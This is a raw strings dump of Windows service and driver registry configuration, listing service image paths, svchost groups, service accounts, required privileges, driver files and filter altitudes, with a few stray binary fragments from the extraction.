-p NT AUTHORITY\LocalService SeChangeNotifyPrivilege SeCreateGlobalPrivilege SeAssignPrimaryTokenPrivilege SeImpersonatePrivilege %SystemRoot%\system32\dps.dll ServiceMain @%SystemRoot%\system32\dssvc.dll,-10002 @%SystemRoot%\system32\dssvc.dll,-10003 %SystemRoot%\System32\svchost.exe -k LocalSystemNetworkRestricted -p LocalSystem SeImpersonatePrivilege SeCreateGlobalPrivilege %SystemRoot%\System32\DsSvc.dll BF4DC912-E52F-4904-8EBE-9317C1BDD497 RpcSs @%SystemRoot%\System32\dusmsvc.dll,-2 @%SystemRoot%\System32\dusmsvc.dll,-1 %SystemRoot%\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s DusmSvc NT Authority\LocalService %SystemRoot%\System32\dusmsvc.dll Controls the underlying video driver stacks to provide fully-featured display capabilities. LDDM Graphics Subsystem Video Init System32\drivers\dxgkrnl.sys RPCSS @%SystemRoot%\system32\efssvc.dll,-101 @%SystemRoot%\system32\efssvc.dll,-100 %SystemRoot%\System32\lsass.exe LocalSystem SeImpersonatePrivilege SeTcbPrivilege SeIncreaseQuotaPrivilege SeAssignPrimaryTokenPrivilege SeAuditPrivilege feclient.dll %SystemRoot%\system32\efssvc.dll df1941c5-fe89-4e79-bf10-463657acf44d 04EEB297-CBF4-466b-8A2A-BFD6A2F10BBA BrokerInfrastructure @%SystemRoot%\system32\embeddedmodesvc.dll,-202 @%SystemRoot%\system32\embeddedmodesvc.dll,-201 %SystemRoot%\System32\svchost.exe -k LocalSystemNetworkRestricted -p LocalSystem SeCreateGlobalPrivilege SeCreatePermanentPrivilege SeImpersonatePrivilege SeTcbPrivilege %SystemRoot%\System32\embeddedmodesvc.dll ClosePerformanceData CollectPerformanceData %systemroot%\system32\esentprf.dll OpenPerformanceData esentprf.ini exFAT File System Driver exFAT File System Driver Boot File System Note - dependance on CDROM.SYS only if required to read/write DVD-RAM media (which appears as CD class device). (Core) (All pieces) FAT12/16/32 File System Driver Boot File System RpcSs http @%systemroot%\system32\fdPHost.dll,-101 @%systemroot%\system32\fdPHost.dll,-100 %SystemRoot%\system32\svchost.exe -k LocalService -p NT AUTHORITY\LocalService SeChangeNotifyPrivilege SeImpersonatePrivilege %SystemRoot%\system32\fdPHost.dll RpcSs http fdphost @%systemroot%\system32\fdrespub.dll,-101 @%systemroot%\system32\fdrespub.dll,-100 %SystemRoot%\system32\svchost.exe -k LocalServiceAndNoImpersonation -p NT AUTHORITY\LocalService SeChangeNotifyPrivilege %SystemRoot%\system32\fdrespub.dll PROFILE_CHANGED_TO_PRIVATE RpcSs @%systemroot%\system32\fhsvc.dll,-102 @%systemroot%\system32\fhsvc.dll,-101 %SystemRoot%\system32\svchost.exe -k LocalSystemNetworkRestricted -p LocalSystem SeBackupPrivilege SeImpersonatePrivilege SeTcbPrivilege %SystemRoot%\system32\fhsvc.dll FltMgr @%systemroot%\system32\drivers\filecrypt.sys,-101 @%systemroot%\system32\drivers\filecrypt.sys,-100 FSFilter Encryption system32\drivers\filecrypt.sys FileCrypt Instance 141100 fltmgr @%SystemRoot%\system32\drivers\fileinfo.sys,-101 @%SystemRoot%\system32\drivers\fileinfo.sys,-100 FSFilter Bottom System32\drivers\fileinfo.sys FileInfo 40500 FltMgr @%SystemRoot%\system32\drivers\filetrace.sys,-10000 @%SystemRoot%\system32\drivers\filetrace.sys,-10001 FSFilter Activity Monitor system32\drivers\filetrace.sys FileTrace - Top Instance 385000 @%SystemRoot%\system32\drivers\fltmgr.sys,-10000 @%SystemRoot%\system32\drivers\fltmgr.sys,-10001 FSFilter Infrastructure system32\drivers\fltmgr.sys @%systemroot%\system32\FntCache.dll,-101 @%systemroot%\system32\FntCache.dll,-100 AudioGroup %SystemRoot%\system32\svchost.exe -k LocalService -p NT AUTHORITY\LocalService SeChangeNotifyPrivilege SeAuditPrivilege SeImpersonatePrivilege %SystemRoot%\system32\FntCache.dll rpcss @%systemroot%\system32\FrameServer.dll,-101 @%systemroot%\system32\FrameServer.dll,-100 %SystemRoot%\System32\svchost.exe -k Camera NT AUTHORITY\LocalService %SystemRoot%\system32\FrameServer.dll 6DDFC7D1-7FCA-44EB-A279-E9988F4DB32B rpcss @%systemroot%\system32\FrameServerMonitor.dll,-101 @%systemroot%\system32\FrameServerMonitor.dll,-100 %SystemRoot%\System32\svchost.exe -k CameraMonitor LocalSystem %SystemRoot%\system32\FrameServerMonitor.dll BE0D95BA-21A5-4A5F-A1F0-9ADA84AC1144 fltmgr @%SystemRoot%\system32\drivers\fsdepends.sys,-10000 @%SystemRoot%\system32\drivers\fsdepends.sys,-10001 FSFilter Top System32\drivers\FsDepends.sys FsDepends 407000 File System @%systemroot%\system32\GameInputSvc.exe,-102 @%systemroot%\system32\GameInputSvc.exe,-101 %SystemRoot%\System32\GameInputSvc.exe LocalSystem SeTcbPrivilege SeAssignPrimaryTokenPrivilege acpiex Microsoft GPIO Class Extension Driver System Bus Extender System32\Drivers\msgpioclx.sys RPCSS @gpapi.dll,-113 @gpapi.dll,-112 ProfSvc_Group %windir%\system32\svchost.exe -k GPSvcGroup fileService -p LocalSystem SeImpersonatePrivilege SeTcbPrivilege SeTakeOwnershipPrivilege SeIncreaseQuotaPrivilege SeAssignPrimaryTokenPrivilege SeSecurityPrivilege SeChangeNotifyPrivilege SeCreatePermanentPrivilege SeShutdownPrivilege SeLoadDriverPrivilege SeRestorePrivilege SeBackupPrivilege SeCreatePagefilePrivilege %SystemRoot%\System32\gpsvc.dll GroupPolicyClientServiceMain 2EB08E3E-639F-4fba-97B1-14F878961076 @%SystemRoot%\system32\GraphicsPerfSvc.dll,-101 @%SystemRoot%\system32\GraphicsPerfSvc.dll,-100 %SystemRoot%\System32\svchost.exe -k GraphicsPerfSvcGroup LocalSystem %SystemRoot%\System32\GraphicsPerfSvc.dll ServiceMain @%SystemRoot%\System32\hidserv.dll,-102 @%SystemRoot%\System32\hidserv.dll,-101 %SystemRoot%\system32\svchost.exe -k LocalSystemNetworkRestricted -p LocalSystem SeChangeNotifyPrivilege SeCreateGlobalPrivilege SeImpersonatePrivilege %SystemRoot%\system32\hidserv.dll HID_DEVICE_UP:000C_U:0001 HidSpi KMDF Class Extension system32\drivers\HidSpiCx.sys hvservice @%SystemRoot%\system32\hvhostsvc.dll,-101 @%SystemRoot%\system32\hvhostsvc.dll,-100 %SystemRoot%\system32\svchost.exe -k LocalSystemNetworkRestricted -p LocalSystem %SystemRoot%\System32\hvhostsvc.dll Microsoft Hardware Notifications Class Extension Driver System System32\Drivers\mshwnclx.sys @%systemroot%\system32\drivers\hwpolicy.sys,-102 @%systemroot%\system32\drivers\hwpolicy.sys,-101 System32\drivers\hwpolicy.sys \SystemRoot\System32\drivers\iagpio.sys GPIOClx @iagpio.inf,%iagpio.SVCDESC%;Intel Serial IO GPIO Controller Driver iagpio.inf \SystemRoot\System32\drivers\iai2c.sys Base SpbCx @iai2c.inf,%iai2c.SVCDESC%;Intel(R) Serial IO I2C Host Controller iai2c.inf 000,000,000,000,000,000,000 \SystemRoot\System32\drivers\iaLPSS2i_GPIO2.sys Extended Base @ialpss2i_gpio2_skl.inf,%iaLPSS2i_GPIO2.SVCDESC%;Intel(R) Serial IO GPIO Driver v2 ialpss2i_gpio2_skl.inf \SystemRoot\System32\drivers\iaLPSS2i_GPIO2_BXT_P.sys Extended Base @ialpss2i_gpio2_bxt_p.inf,%iaLPSS2i_GPIO2_BXT_P.SVCDESC%;Intel(R) Serial IO GPIO Driver v2 ialpss2i_gpio2_bxt_p.inf \SystemRoot\System32\drivers\iaLPSS2i_GPIO2_CNL.sys Base Extended Base @ialpss2i_gpio2_cnl.inf,%iaLPSS2i_GPIO2_CNL.SVCDESC%;Intel(R) Serial IO GPIO Driver v2 ialpss2i_gpio2_cnl.inf \SystemRoot\System32\drivers\iaLPSS2i_GPIO2_GLK.sys Extended Base @ialpss2i_gpio2_glk.inf,%iaLPSS2i_GPIO2_GLK.SVCDESC%;Intel(R) Serial IO GPIO Driver v2 ialpss2i_gpio2_glk.inf \SystemRoot\System32\drivers\iaLPSS2i_I2C.sys SpbCx @ialpss2i_i2c_skl.inf,%iaLPSS2i_I2C.SVCDESC%;Intel(R) Serial IO I2C Driver v2 ialpss2i_i2c_skl.inf \SystemRoot\System32\drivers\iaLPSS2i_I2C_BXT_P.sys Base SpbCx @ialpss2i_i2c_bxt_p.inf,%iaLPSS2i_I2C_BXT_P.SVCDESC%;Intel(R) Serial IO I2C Driver v2 ialpss2i_i2c_bxt_p.inf \SystemRoot\System32\drivers\iaLPSS2i_I2C_CNL.sys Base SpbCx @ialpss2i_i2c_cnl.inf,%iaLPSS2i_I2C_CNL.SVCDESC%;Intel(R) Serial IO I2C Driver v2 ialpss2i_i2c_cnl.inf \SystemRoot\System32\drivers\iaLPSS2i_I2C_GLK.sys Base SpbCx @ialpss2i_i2c_glk.inf,%iaLPSS2i_I2C_GLK.SVCDESC%;Intel(R) Serial IO I2C Driver v2 ialpss2i_i2c_glk.inf \SystemRoot\System32\drivers\iaLPSSi_GPIO.sys Extended Base @ialpssi_gpio.inf,%iaLPSSi_GPIO.SVCDESC%;Intel(R) Serial IO GPIO Controller Driver ialpssi_gpio.inf \SystemRoot\System32\drivers\iaLPSSi_I2C.sys Base SpbCx @ialpssi_i2c.inf,%iaLPSSi_I2C.SVCDESC%;Intel(R) Serial IO I2C Controller Driver ialpssi_i2c.inf System32\drivers\iaStorAVC.sys SCSI miniport @iastorav.inf,%iaStorAVC.DeviceDesc%;Intel Chipset SATA RAID Controller iastorav.inf System32\drivers\iaStorV.sys SCSI Miniport @iastorv.inf,%*PNP0600.DeviceDesc%;Intel RAID Controller Windows 7 iastorv.inf RpcSs wcmsvc @%SystemRoot%\System32\tetheringservice.dll,-4098 @%SystemRoot%\System32\tetheringservice.dll,-4097 %SystemRoot%\system32\svchost.exe -k LocalServiceNetworkRestricted -p NT Authority\LocalService SeChangeNotifyPrivilege SeImpersonatePrivilege %SystemRoot%\System32\tetheringservice.dll ServiceMain E00C29A5-0F62-4D84-B7F0-D2387E41ED18 @%SystemRoot%\system32\ikeext.dll,-502 @%SystemRoot%\system32\ikeext.dll,-501 %systemroot%\system32\svchost.exe -k netsvcs -p LocalSystem SeAuditPrivilege SeImpersonatePrivilege SeTcbPrivilege SeDebugPrivilege %SystemRoot%\System32\ikeext.dll IkeServiceMain %windir%\system32\svchost.exe IKEEXT @%SystemRoot%\system32\drivers\IndirectKmd.sys,-101 @%SystemRoot%\system32\drivers\IndirectKmd.sys,-100 Base \SystemRoot\System32\drivers\IndirectKmd.sys Tcpip @%systemroot%\system32\mprmsg.dll,-32013 @%systemroot%\system32\mprmsg.dll,-32013 system32\DRIVERS\ipfltdrv.sys RpcSS tcpip WinHttpAutoProxySvc @%SystemRoot%\system32\iphlpsvc.dll,-501 @%SystemRoot%\system32\iphlpsvc.dll,-500 %SystemRoot%\System32\svchost.exe -k NetSvcs -p LocalSystem SeCreateGlobalPrivilege SeImpersonatePrivilege SeLoadDriverPrivilege SeTcbPrivilege %SystemRoot%\System32\iphlpsvc.dll Tcpip IP Network Address Translator System32\drivers\ipnat.sys \SystemRoot\System32\drivers\ipt.sys @%Systemroot%\system32\ipxlatcfg.dll,-501 @%Systemroot%\system32\ipxlatcfg.dll,-500 %SystemRoot%\System32\svchost.exe -k LocalSystemNetworkRestricted -p LocalSystem SeChangeNotifyPrivilege SeCreateGlobalPrivilege SeImpersonatePrivilege SeLoadDriverPrivilege SeTakeOwnershipPrivilege %SystemRoot%\System32\IpxlatCfg.dll FF00653F-064A-49CA-9783-0E33730D7D71 Extended Base system32\drivers\kbldfltr.sys RpcSs @keyiso.dll,-101 @keyiso.dll,-100 %SystemRoot%\system32\lsass.exe LocalSystem %SystemRoot%\system32\keyiso.dll b25a52bf-e5dd-4f4a-aea6-8ca7272a0e86 8FB74744-B2FF-4C00-BE0D-9EF9A191FE1B Base System32\Drivers\ksecdd.sys Cryptography System32\Drivers\ksecpkg.sys Kernel Streaming Thunks PNP Filter \SystemRoot\system32\drivers\ksthunk.sys RPCSS SamSS @comres.dll,-2947 @comres.dll,-2946 %SystemRoot%\System32\svchost.exe -k NetworkServiceAndNoImpersonation -p NT AUTHORITY\NetworkService SeChangeNotifyPrivilege %systemroot%\system32\msdtckrm.dll KtmRmServiceMain SamSS Srv2 @%systemroot%\system32\srvsvc.dll,-101 @%systemroot%\system32\srvsvc.dll,-100 %SystemRoot%\system32\svchost.exe -k netsvcs -p LocalSystem SeChangeNotifyPrivilege SeImpersonatePrivilege SeAuditPrivilege ethernet D88-A654 02609bc9-99eb-c0c5-fc8a-1df154f45fb7 e92- ece\ Ethernet (Kernel Debugger) WAN Miniport (SSTP) {48C9E111-8F71-4A0C-8AE5-AED3EA3C3C85} \Device\{48C9E111-8F71-4A0C-8AE5-AED3EA3C3C85} Microsoft Kernel Debug Network Adapter %SystemRoot%\system32\srvsvc.dll 4B324FC8-1670-01D3-1278-5A47BF6EE188 srvsvc MRxSmb20 Bowser @%systemroot%\system32\wkssvc.dll,-101 @%systemroot%\system32\wkssvc.dll,-100 NetworkProvider %SystemRoot%\System32\svchost.exe -k NetworkService -p NT AUTHORITY\NetworkService SeChangeNotifyPrivilege SeImpersonatePrivilege SeAuditPrivilege root\kdnic ROOT\KDNIC\0000 root\kdnic ndis5 \Device\LanmanRedirector {1e5791ff-68c7-4232-8fdb-0931ee580947} @%systemroot%\system32\wkssvc.dll,-102 Microsoft Windows Network %SystemRoot%\System32\ntlanman.dll %SystemRoot%\System32\wkssvc.dll rpcss @%SystemRoot%\system32\licensemanagersvc.dll,-201 @%SystemRoot%\system32\licensemanagersvc.dll,-200 %SystemRoot%\System32\svchost.exe -k LocalService -p NT Authority\LocalService SeChangeNotifyPrivilege SeImpersonatePrivilege %SystemRoot%\system32\LicenseManagerSvc.dll A4B8D482-80CE-40D6-934D-B22A01A44FE7 @%SystemRoot%\system32\lltdres.dll,-6 @%SystemRoot%\system32\lltdres.dll,-6 NDIS system32\drivers\lltdio.sys rpcss lltdio @%SystemRoot%\system32\lltdres.dll,-2 @%SystemRoot%\system32\lltdres.dll,-1 %SystemRoot%\System32\svchost.exe -k LocalService -p NT AUTHORITY\LocalService SeImpersonatePrivilege SeChangeNotifyPrivilege %SystemRoot%\System32\lltdsvc.dll @%SystemRoot%\system32\lmhsvc.dll,-102 @%SystemRoot%\system32\lmhsvc.dll,-101 %SystemRoot%\System32\svchost.exe -k LocalServiceNetworkRestricted -p NT AUTHORITY\LocalService SeCreateGlobalPrivilege %SystemRoot%\System32\lmhsvc.dll RpcSs @%SystemRoot%\System32\localkdcsvc.dll,-2 @%SystemRoot%\System32\localkdcsvc.dll,-1 MS_WindowsRemoteValidation %SystemRoot%\System32\lsass.exe LocalSystem %SystemRoot%\system32\localkdcsvc.dll RpcEptMapper DcomLaunch RpcSs @%windir%\system32\lsm.dll,-1002 @%windir%\system32\lsm.dll,-1001 COM Infrastructure %SystemRoot%\system32\svchost.exe -k DcomLaunch -p LocalSystem %SystemRoot%\System32\lsm.dll CloseLagPerfData CollectLagPerfData C:\Windows\System32\perfts.dll OpenLagPerfData lagcounterdef.ini FltMgr @%systemroot%\system32\drivers\luafv.sys,-101 @%systemroot%\system32\drivers\luafv.sys,-100 FSFilter Virtualization \SystemRoot\system32\drivers\luafv.sys luafv 135000 C:\ProgramData @%SystemRoot%\system32\LanguageOverlayServer.dll,-101 @%SystemRoot%\system32\LanguageOverlayServer.dll,-100 %SystemRoot%\system32\svchost.exe -k netsvcs LocalSystem SeTcbPrivilege SeImpersonatePrivilege SeCreateSymbolicLinkPrivilege SeRestorePrivilege SeBackupPrivilege SeSecurityPrivilege SeIncreaseQuotaPrivilege SeAssignPrimaryTokenPrivilege %SystemRoot%\System32\LanguageOverlayServer.dll ServiceMain rpcss @%SystemRoot%\System32\moshost.dll,-101 @%SystemRoot%\System32\moshost.dll,-100 NetworkService %SystemRoot%\System32\svchost.exe -k NetworkService -p NT AUTHORITY\NetworkService SeImpersonatePrivilege %SystemRoot%\System32\moshost.dll ServiceMain NetAdapterCx MBB Network Adapter Class Extension system32\drivers\MbbCx.sys RpcSs @%SystemRoot%\system32\McpManagementService.dll,-101 @%SystemRoot%\system32\McpManagementService.dll,-100 %SystemRoot%\system32\svchost.exe -k McpManagementServiceGroup LocalSystem SeTcbPrivilege SeChangeNotifyPrivilege SeImpersonatePrivilege SeCreateGlobalPrivilege %SystemRoot%\System32\McpManagementService.dll System32\drivers\megasr.sys SCSI Miniport megasr.inf @%SystemRoot%\system32\MessagingService.dll,-101 @%SystemRoot%\system32\MessagingService.dll,-100 %SystemRoot%\system32\svchost.exe -k UnistackSvcGroup LocalSystem SeChangeNotifyPrivilege SeCreateGlobalPrivilege %SystemRoot%\System32\MessagingService.dll @%systemroot%\system32\drivers\mmcss.sys,-101 @%systemroot%\system32\drivers\mmcss.sys,-100 \SystemRoot\system32\drivers\mmcss.sys Extended base system32\drivers\modem.sys @%SystemRoot%\system32\drivers\mountmgr.sys,-101 @%SystemRoot%\system32\drivers\mountmgr.sys,-100 System Bus Extender System32\drivers\mountmgr.sys @%SystemRoot%\system32\drivers\mpsdrv.sys,-23093 @%SystemRoot%\system32\drivers\mpsdrv.sys,-23092 network System32\drivers\mpsdrv.sys mpsdrv @%SystemRoot%\system32\FirewallAPI.dll,-23091 @%SystemRoot%\system32\FirewallAPI.dll,-23090 NetworkProvider %SystemRoot%\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p NT Authority\LocalService SeAssignPrimaryTokenPrivilege SeAuditPrivilege SeChangeNotifyPrivilege SeCreateGlobalPrivilege SeImpersonatePrivilege SeIncreaseQuotaPrivilege %SystemRoot%\system32\mpssvc.dll rdbss @%systemroot%\system32\webclnt.dll,-105 @%systemroot%\system32\webclnt.dll,-104 \SystemRoot\system32\drivers\mrxdav.sys rdbss @%systemroot%\system32\wkssvc.dll,-1003 @%systemroot%\system32\wkssvc.dll,-1002 Network system32\DRIVERS\mrxsmb.sys mrxsmb @%systemroot%\system32\wkssvc.dll,-1007 @%systemroot%\system32\wkssvc.dll,-1006 Network NDIS system32\DRIVERS\mrxsmb20.sys @%SystemRoot%\system32\bridgeres.dll,-1 @%SystemRoot%\system32\bridgeres.dll,-1 System32\drivers\bridge.sys RPCSS SamSS @comres.dll,-2798 @comres.dll,-2797 %SystemRoot%\System32\msdtc.exe NT AUTHORITY\NetworkService SeChangeNotifyPrivilege SeCreateGlobalPrivilege DtcPerfClose DtcPerfCollect %systemroot%\system32\msdtcuiu.DLL DtcPerfOpen msdtcprf.ini ClosePerformanceData CollectPerformanceData 272696320 272696320 272696320 272696320 272696320 272696320 272696320 805438464 1073939458 805438464 1073939458 %systemroot%\system32\NETFXPerf.dll OpenPerformanceData iSCSI Message send failures/sec Prepare retry count/sec Commit retry count/sec Prepared retry count/sec Replay retry count/sec Faults received count/sec Faults sent count/sec Average participant prepare response time Average participant prepare response time Base Average participant commit response time Average participant commit response time Base _TransactionBridgePerfCounters_d.ini File system @%SystemRoot%\system32\iscsidsc.dll,-5001 @%SystemRoot%\system32\iscsidsc.dll,-5000 customScript.cmd %systemroot%\system32\svchost.exe -k netsvcs -p LocalSystem See Note 3 below SeAuditPrivilege SeChangeNotifyPrivilege SeCreateGlobalPrivilege SeCreatePermanentPrivilege SeImpersonatePrivilege SeTcbPrivilege SeLoadDriverPrivilege %systemroot%\system32\iscsiexe.dll rpcss @%SystemRoot%\system32\msimsg.dll,-32 @%SystemRoot%\system32\msimsg.dll,-27 %systemroot%\system32\msiexec.exe /V LocalSystem SeTcbPrivilege SeCreatePagefilePrivilege SeLockMemoryPrivilege SeIncreaseBasePriorityPrivilege SeCreatePermanentPrivilege SeAuditPrivilege SeSecurityPrivilege SeChangeNotifyPrivilege SeProfileSingleProcessPrivilege SeImpersonatePrivilege SeCreateGlobalPrivilege SeAssignPrimaryTokenPrivilege SeRestorePrivilege SeIncreaseQuotaPrivilege SeShutdownPrivilege SeTakeOwnershipPrivilege SeLoadDriverPrivilege SeBackupPrivilege SeCreateSymbolicLinkPrivilege @%SystemRoot%\system32\KeyboardFilterSvc.dll,-102 @%SystemRoot%\system32\KeyboardFilterSvc.dll,-101 %SystemRoot%\system32\svchost.exe -k netsvcs -p LocalSystem SeTcbPrivilege SeAssignPrimaryTokenPrivilege %SystemRoot%\System32\KeyboardFilterSvc.dll \SystemRoot\System32\drivers\MSKSSRV.sys Extended Base @ksfilter.inf,%MSKSSRV.DeviceDesc%;Microsoft Streaming Service Proxy ksfilter.inf @%SystemRoot%\system32\drivers\mslldp.sys,-201 @%SystemRoot%\system32\drivers\mslldp.sys,-200 NDIS system32\drivers\mslldp.sys \SystemRoot\System32\drivers\MSPCLOCK.sys Extended Base @ksfilter.inf,%MSPCLOCK.DeviceDesc%;Microsoft Streaming Clock Proxy ksfilter.inf \SystemRoot\System32\drivers\MSPQM.sys Extended Base @ksfilter.inf,%MSPQM.DeviceDesc%;Microsoft Streaming Quality Manager Proxy ksfilter.inf @%SystemRoot%\system32\drivers\msquic.sys,-201 @%SystemRoot%\system32\drivers\msquic.sys,-200 Network system32\drivers\msquic.sys @%SystemRoot%\System32\Drivers\msseccore.sys,-1002 @%SystemRoot%\System32\Drivers\msseccore.sys,-1001 system32\drivers\msseccore.sys fltmgr @%SystemRoot%\System32\Drivers\mssecflt.sys,-1002 @%SystemRoot%\System32\Drivers\mssecflt.sys,-1001 Filter system32\drivers\mssecflt.sys MsSecFlt Instance 385600 Tcpip @%SystemRoot%\System32\Drivers\mssecwfp.sys,-1002 @%SystemRoot%\System32\Drivers\mssecwfp.sys,-1001 system32\drivers\mssecwfp.sys \SystemRoot\System32\drivers\mssmbios.sys @mssmbios.inf,%mssmbios_svcdesc%;Microsoft System Management BIOS Driver mssmbios.inf \SystemRoot\System32\drivers\MSTEE.sys Extended Base @ksfilter.inf,%MSTEE.DeviceDesc%;Microsoft Streaming Tee/Sink-to-Sink Converter ksfilter.inf @%systemroot%\system32\drivers\mup.sys,-102 @%systemroot%\system32\drivers\mup.sys,-101 Network System32\Drivers\mup.sys System32\drivers\mvumis.sys SCSI Miniport mvumis.inf @%SystemRoot%\system32\tsgqec.dll,-101 @%SystemRoot%\system32\tsgqec.dll,-100 @%SystemRoot%\system32\tsgqec.dll,-103 @%SystemRoot%\system32\tsgqec.dll,-102 @%SystemRoot%\system32\rascustom.dll,-101 @%SystemRoot%\system32\rascustom.dll,-100 @%SystemRoot%\system32\rascustom.dll,-103 @%SystemRoot%\system32\rascustom.dll,-102 NDIS @%SystemRoot%\System32\drivers\nwifi.sys,-101 system32\DRIVERS\nwifi.sys RpcSs ProfSvc Schedule @%systemroot%\system32\NaturalAuth.dll,-101 @%systemroot%\system32\NaturalAuth.dll,-100 %SystemRoot%\system32\svchost.exe -k netsvcs -p LocalSystem SeTcbPrivilege SeChangeNotifyPrivilege SeSystemEnvironmentPrivilege %SystemRoot%\System32\NaturalAuth.dll cc4b408c-4c4e-422f-9849-47bb47bd4d2e dnscache iphlpsvc @%SystemRoot%\system32\ncasvc.dll,-3008 @%SystemRoot%\system32\ncasvc.dll,-3009 %SystemRoot%\System32\svchost.exe -k NetSvcs -p LocalSystem SeCreateGlobalPrivilege SeImpersonatePrivilege SeAuditPrivilege %SystemRoot%\System32\ncasvc.dll RpcSS tcpip BrokerInfrastructure @%SystemRoot%\system32\ncbservice.dll,-501 @%SystemRoot%\system32\ncbservice.dll,-500 %SystemRoot%\System32\svchost.exe -k LocalSystemNetworkRestricted -p LocalSystem SeCreateGlobalPrivilege SeImpersonatePrivilege SeDebugPrivilege %SystemRoot%\System32\ncbservice.dll e40f7b57-7a25-4cd3-a135-7f7d3df9d16b 5222821f-d5e2-4885-84f1-5f6185a0ec41 880fd55e-43b9-11e0-b1a8-cf4edfd72085 D09BDEB5-6171-4A34-BFE2-06FA82652568:fdd099c6-df06-4904-83b4-a87a27903c70 netprofm @%SystemRoot%\system32\NcdAutoSetup.dll,-101 @%SystemRoot%\system32\NcdAutoSetup.dll,-100 %SystemRoot%\System32\svchost.exe -k LocalServiceNoNetwork -p NT AUTHORITY\LocalService SeChangeNotifyPrivilege %SystemRoot%\System32\NcdAutoSetup.dll SvchostMain PROFILE_CHANGED_TO_PRIVATE @%SystemRoot%\system32\drivers\ndis.sys,-201 @%SystemRoot%\system32\drivers\ndis.sys,-200 NDIS Wrapper system32\drivers\ndis.sys @%SystemRoot%\System32\drivers\ndiscap.sys,-5000 @%SystemRoot%\System32\drivers\ndiscap.sys,-5000 NDIS System32\drivers\ndiscap.sys @%SystemRoot%\System32\drivers\ndisimplatform.sys,-501 @%SystemRoot%\System32\drivers\ndisimplatform.sys,-501 System32\drivers\NdisImPlatform.sys ms_netmon MS_NdisCap @%systemroot%\system32\mprmsg.dll,-32001 NDIS @%systemroot%\system32\mprmsg.dll,-32001 System32\DRIVERS\ndistapi.sys NDIS Usermode I/O Protocol NDIS system32\drivers\ndisuio.sys \SystemRoot\System32\drivers\NdisVirtualBus.sys @%SystemRoot%\System32\drivers\NdisVirtualBus.sys,-200 ndisvirtualbus.inf \SystemRoot\System32\drivers\ndiswan.sys SWD\Generic @%systemroot%\system32\mprmsg.dll,-32002 @%systemroot%\system32\mprmsg.dll,-32002 netrasa.inf @%systemroot%\system32\mprmsg.dll,-32014 @%systemroot%\system32\mprmsg.dll,-32014 NDIS System32\DRIVERS\ndiswan.sys \Device\ndiswanlegacy NDKPerf Driver system32\drivers\NDKPerf.sys NDKPing Driver PNP_TDI system32\drivers\NDKPing.sys @%SystemRoot%\system32\drivers\ndproxy.sys,-6000 @%SystemRoot%\system32\drivers\ndproxy.sys,-6000 System32\DRIVERS\NDProxy.sys tcpip @%SystemRoot%\system32\drivers\Ndu.sys,-10002 @%SystemRoot%\system32\drivers\Ndu.sys,-10001 system32\drivers\Ndu.sys ndis Network Adapter WDF Class Extension Library system32\drivers\netadaptercx.sys @%windir%\system32\drivers\netbios.sys,-502 @%windir%\system32\drivers\netbios.sys,-503 NetBIOSGroup system32\drivers\netbios.sys 7p6" LanmanWorkstation @%SystemRoot%\System32\netlogon.dll,-103 @%SystemRoot%\System32\netlogon.dll,-102 MS_WindowsRemoteValidation %systemroot%\system32\lsass.exe LocalSystem %SystemRoot%\system32\netlogon.dll RpcSs @%SystemRoot%\system32\netman.dll,-110 @%SystemRoot%\system32\netman.dll,-109 %SystemRoot%\System32\svchost.exe -k LocalSystemNetworkRestricted -p LocalSystem SeImpersonatePrivilege SeChangeNotifyPrivilege SeLoadDriverPrivilege %SystemRoot%\System32\netman.dll RpcSs TcpIp @%SystemRoot%\system32\netprofmsvc.dll,-203 @%SystemRoot%\system32\netprofmsvc.dll,-202 %SystemRoot%\System32\svchost.exe -k netprofm -p NT AUTHORITY\NetworkService SeImpersonatePrivilege SeChangeNotifyPrivilege %SystemRoot%\System32\netprofmsvc.dll RpcSs @%SystemRoot%\system32\NetSetupSvc.dll,-4 @%SystemRoot%\system32\NetSetupSvc.dll,-3 %SystemRoot%\System32\svchost.exe -k netsvcs -p LocalSystem SeChangeNotifyPrivilege SeImpersonatePrivilege SeLoadDriverPrivilege %SystemRoot%\System32\NetSetupSvc.dll NetSetupServiceMain a111f1c5-5923-47c0-9a68-d0bafb577901 @%systemroot%\Microsoft.NET\Framework64\v4.0.30319\ServiceModelInstallRC.dll,-8200 @%systemroot%\Microsoft.NET\Framework64\v4.0.30319\ServiceModelInstallRC.dll,-8201 %systemroot%\Microsoft.NET\Framework64\v4.0.30319\SMSvcHost.exe NT AUTHORITY\LocalService SeCreateGlobalPrivilege RpcSs @%SystemRoot%\System32\ngcsvc.dll,-101 @%SystemRoot%\System32\ngcsvc.dll,-100 Cryptography %SystemRoot%\system32\svchost.exe -k LocalSystemNetworkRestricted -p LocalSystem SeImpersonatePrivilege SeTcbPrivilege SeTakeOwnershipPrivilege %SystemRoot%\system32\ngcsvc.dll NgcServiceMain 0e3ae095-8a23-48f4-9782-03c1594a890e c225e799-29de-42af-bc05-1e2127cc056e d9844ed9-f72a-4745-a4a1-ee71f950781d 2b70bed6-1757-4d22-9f39-448589fbebf5 9cbc9d3a-7586-4814-8d70-18737dcbe523 4E25F4A2-21E8-40CE-B401-32050413143A 8337AEBC-5564-46FD-BC41-7798F18D2E4B File system protected_storage netlogon lsarpc samr svcctl @%SystemRoot%\system32\npsm.dll,-101 @%SystemRoot%\system32\npsm.dll,-100 %SystemRoot%\system32\svchost.exe -k LocalService -p NT AUTHORITY\LocalService SeImpersonatePrivilege %SystemRoot%\System32\npsm.dll rpcss nsiproxy @%SystemRoot%\system32\nsisvc.dll,-201 @%SystemRoot%\system32\nsisvc.dll,-200 %systemroot%\system32\svchost.exe -k LocalService -p NT Authority\LocalService SeCreateGlobalPrivilege SeImpersonatePrivilege %systemroot%\system32\nsisvc.dll @%SystemRoot%\system32\drivers\nsiproxy.sys,-1 @%SystemRoot%\system32\drivers\nsiproxy.sys,-2 system32\drivers\nsiproxy.sys Boot File System appx appxbundle appxpackage automaticdestinations-ms cdxml cookie customdestinations-ms dsft msip partial ps1xml psc1 psd1 psm1 spkg vhdx vmcx vmrs vsix winmd \Users\*\AppData\Local\VirtualStore\* \ProgramData\* \Data\Program Files\* \Data\Program Files (x86)\* \Data\ProgramData\* \Data\Windows\* \Program Files\* \Program Files (x86)\* \Windows\* \Users\*\AppData\Roaming\Microsoft\Crypto\* \Users\*\AppData\Local\Microsoft\Vault\* \$Windows.~BT\* \Windows.old\* Base System32\drivers\nvraid.sys System Bus Extender nvraid.inf System32\drivers\nvstor.sys SCSI Miniport nvraid.inf @%SystemRoot%\system32\APHostRes.dll,-10001 